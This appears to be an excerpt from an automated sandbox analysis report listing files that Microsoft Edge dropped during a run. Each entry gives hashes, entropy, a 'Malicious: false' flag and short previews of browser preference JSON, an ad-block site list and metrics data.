Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"23138fac-2781-4c48-ba9e-49126c600016"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7bfad0cb-a40b-402d-9d1a-13acaca2e29f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090562131349844
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtotR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynDtGhOxqQoRTuiVIos
MD5:	B76821FEBC087526A26A1640F5D9E176
SHA1:	7E20156C070F95936AD7F5B2AA936B8B8CC7EAF2
SHA-256:	48413C3D65DAC41B782836B62B06E52493945530466F52282070A40048A735A2
SHA-512:	8308CBCF69FF82C520445E1FCCEE6FF1A583D2784B4E2F74E15B69A91880F949EE2AE7A8595838442F02B722C40E6F6595F08E758F714ADC32C6664DC9279959
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\848213a5-af66-4392-8e9d-60b9422e05c4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44637
Entropy (8bit):	6.096171271572019
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kXCLmZYN57sS8UAbMEiKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynWL7FKoRTuiVIos
MD5:	28BDB950CAE07EB91A1E4B278AD82129
SHA1:	47EB1F821AA5F5D8DC4AFC129E2C298F5FEF404D
SHA-256:	EC0957445FC84D1052B2215022D84F9D9F0BC1161591AA5E5723ACC21C2C6116
SHA-512:	60E04176920EA800AD88E9587AF1C59625C63237E5CBD11CD10B8FAEC0FE1DF6E9F981750DB83C2090F30D7722BE06F61D2EA07E657925C018333946C9941920
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\958f4bd9-f78a-4ac0-8746-f58fa8f2a7d7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45881
Entropy (8bit):	6.089094777007251
Encrypted:	false
SSDEEP:	768:MMkbJrT8IeQcrQgxXT/LmZYN57s8sKCvETEcyRxi0gC1oGwWE7RTupzKscDX//N2:MMk1rT8HRXrL71s40gIoGoRTuiQ
MD5:	DC5A401C178EFF0C52F6FD8FC889D96B
SHA1:	CD9C441BD35D0C29866F466CE32C6A3221C654E5
SHA-256:	3B859836E38AA8BE22B612623F7168733797FE8E38F0C0C27996640C4AC12388
SHA-512:	8ACD90C46E9E2EF325C899E024C2E978171F064CD96198FA5817C584695425324E6C5D24FFBB2121E0715D41452C53CEF52DB8CD121CD4B774B9B027E94585F8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"23138fac-2781-4c48-ba9e-49126c600016"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\989202b5-681d-4b73-a16b-d82c126a6be4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45958
Entropy (8bit):	6.089061055899243
Encrypted:	false
SSDEEP:	768:MMkbJrT8IeQcrQgXXT/LmZYN57sVsKCvETEcyRxi0gC1oGwWE7RTupzKscDX//N2:MMk1rT8H3XrL7As40gIoGoRTuiQ
MD5:	626F7639FDC9D70E2492DCFA31531C11
SHA1:	E060E52E87F602D34D61140FEA82CED833A9539B
SHA-256:	4E6B8DB02B43422C7F5654BDD0A57934F1CE1283054CD31377C39147DB826286
SHA-512:	1024BB1B92D43277BEFD01FF0BC5BD76212A91F71C2DF33DACD7BB3F1081000FF28086AF92EC094F6B60AD7AD92555F12A4C368F4690844379C1088971DF57EC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"23138fac-2781-4c48-ba9e-49126c600016"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\09065fcb-ad3f-4e1d-8cee-54434c6014ff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64015579084369
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7H:fwUQC5VwBIiElEd2K57P7H
MD5:	038E7B1B5D619E7E269F8958983AABEF
SHA1:	0FE7A0B47FA291DB6E046802984722C83C0508C1
SHA-256:	05DF0B9A5B45CA0DF8623F50EDD9740F79AD1BD5B359037D5E379093282388DE
SHA-512:	CED1EC90A03EE97FA8BA6E4D0ADD65101492AF8E392F552B4B7818BB58577C898E68CE36366A172A90C0088D055C29415E71103A89C68DF09A746128519657BF
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64015579084369
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7H:fwUQC5VwBIiElEd2K57P7H
MD5:	038E7B1B5D619E7E269F8958983AABEF
SHA1:	0FE7A0B47FA291DB6E046802984722C83C0508C1
SHA-256:	05DF0B9A5B45CA0DF8623F50EDD9740F79AD1BD5B359037D5E379093282388DE
SHA-512:	CED1EC90A03EE97FA8BA6E4D0ADD65101492AF8E392F552B4B7818BB58577C898E68CE36366A172A90C0088D055C29415E71103A89C68DF09A746128519657BF
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-672E1E48-1F50.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04782345878080872
Encrypted:	false
SSDEEP:	192:JPCsDg0pqtmdnOAQJYCwJ/7qiRD80JVFg8X1JIKhEHsBzhEhNGMvLRQ8Tf2ssn8H:hvDg0ctu4wV6QnhcxNv2ss08T2RGOD
MD5:	C5272F0261E8520A06FE5EB99BC87D91
SHA1:	D6AED97D7E176440ADF8B9E3E418BF7DFAD1937B
SHA-256:	E0DD50F432C95480ECEDA573F93112A7226E8CC31877F2A1C73CFE738EE60E23
SHA-512:	10D803B9A216467D07856BC0A82FEF87FA235CE16BF8AF77D7CD84E073E38C6BA72103D492A383FBD967CAB9B612CC4F5FC77CF644D7D67C1CCB80AA1BCA35DA
Malicious:	false
Preview:	...@..@...@.....C.].....@................k..8[..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".julhdf20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U..G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2......._...... .2.............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-672E1E4A-1B60.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4889274043632571
Encrypted:	false
SSDEEP:	6144:5l2B3tL8GqkcxvWBmIqqL4hDo62AaHn9o:QQkcYB46
MD5:	6BCB6BD60C786596C1777A99BA45CF2B
SHA1:	DC89EF60E1614B3C8E5221B6F4DC34B273C1C3F9
SHA-256:	06E2BC181246BF9AC13B1465D54CE882847B4AF4175CDAF5A05833EDED1E71E3
SHA-512:	7BE1949758162FDB18BA36BC3095379CE4D3DFC37A7888092C688CEDD4C56F9D47355BF73D175BF0CAE435D30DEEF5BFC87DC6534DE993233F941A953CD97736
Malicious:	false
Preview:	...@..@...@.....C.].....@...................h...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".julhdf20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U?:K...G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.195531555605597
Encrypted:	false
SSDEEP:	3:FiWWltlMpKoKuNoDZbkDURSHxig5ABVP/Sh/JzvNKIUBUhX9USWXQPWllt:o1GVKCoD4Hxi2ABVsJDZYeulX+W/
MD5:	B43C738AB1422F16D60B4C4B49CC7DF2
SHA1:	98C07F5F5E4F25C2BC0B2B5E6A3A2245F7D18215
SHA-256:	C28208A8D5052C44515333D67BE35E9900BB0C1E68DECF8C8CDC8DB67DE51E4C
SHA-512:	07A58D40C283CBDB4063D1EF70EBDAFF8E84CB47F530B939FA25195F9652976CB3E439F315A18D732128E60B5F2856DC1CA42E814DE45F2301DC143A0D22798E
Malicious:	false
Preview:	sdPC.........................TJ.[Y....."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................ecadf109-1d88-4bd2-8ebf-85346832b43e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\07076896-fbbd-4e1a-a531-b252aa78e71f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561334837115948
Encrypted:	false
SSDEEP:	768:UyXzf77pLGLprhWPisfDl8F1+UoAYDCx9Tuqh0VfUC9xbog/OVgg9mf+nrw4XUvU:UyXzfNcprhWPisfDlu1jaNg9C+04XQ6v
MD5:	54ED7F112700844E9537F0AEC625D76C
SHA1:	2AA878F6B064FD05497474A7CE90787EAA500A05
SHA-256:	42829F6DAE704D78F7A6777905111A08392863B32D96972734AFB935E1CA8D3B
SHA-512:	052EEC516A92FADC8F742AE2D5E826A47BE0B5706154FDEE3F393704126441837AB1349C995EFB7523F49E50B364174690B3FD3648430E0415F157488556E862
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375549259049968","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375549259049968","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\317016e1-24c0-4723-90a7-256f75b9d520.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17242), with no line terminators
Category:	dropped
Size (bytes):	17244
Entropy (8bit):	5.481053281212596
Encrypted:	false
SSDEEP:	384:stnPGQSu4gs08uX8PtroAPtDrz7bGdQwnyf7NIV:s1OXuXj4tFbGOL2
MD5:	E0205D98D71A5FCE134692E15B8FA254
SHA1:	07934D15ED8765DB4D43580A2514C216308A1613
SHA-256:	EA0BDA3FA8C8AE673560EC78D949ECA93DB1B04A91A2E2C26304D0A9271C4AD8
SHA-512:	7CF189FB098B7FCB3036D6AEC8595D680F36916560257DC8E199580F89D502325E91FF8A3E75DB9708F38873830207A4F20634738FD7BE9BCDAF17F3BF537732
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375549261057740","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\40434ea5-4047-4bd1-b640-c3cbe0c261ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16486), with no line terminators
Category:	dropped
Size (bytes):	16488
Entropy (8bit):	5.440983933260609
Encrypted:	false
SSDEEP:	384:stnPGQSu4gs08uXOoAPtDrz7bGdQwnv7NIV:s1OXuXjIbGOA2
MD5:	93D4617A089A8DCE956B5C2E366CF928
SHA1:	F45CD9703E4A58D6FC6683171A9107289DCE879C
SHA-256:	92571ECDD2A3964B59EB8164C29E54BB4C735AB1AF5C6AC0CEBAC97808DBD3FA
SHA-512:	3D1455E22478D6E33BFDD0EF709B9B07125498A5EBEF7C77DE42895D5BECF3301DBBCC3AAE58FAB791981BB8932D12D8195B16DDA1FD93F0DC65A06F4B64CF4B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375549261057740","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\46873d3b-9465-4c91-8c41-a796b0715314.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
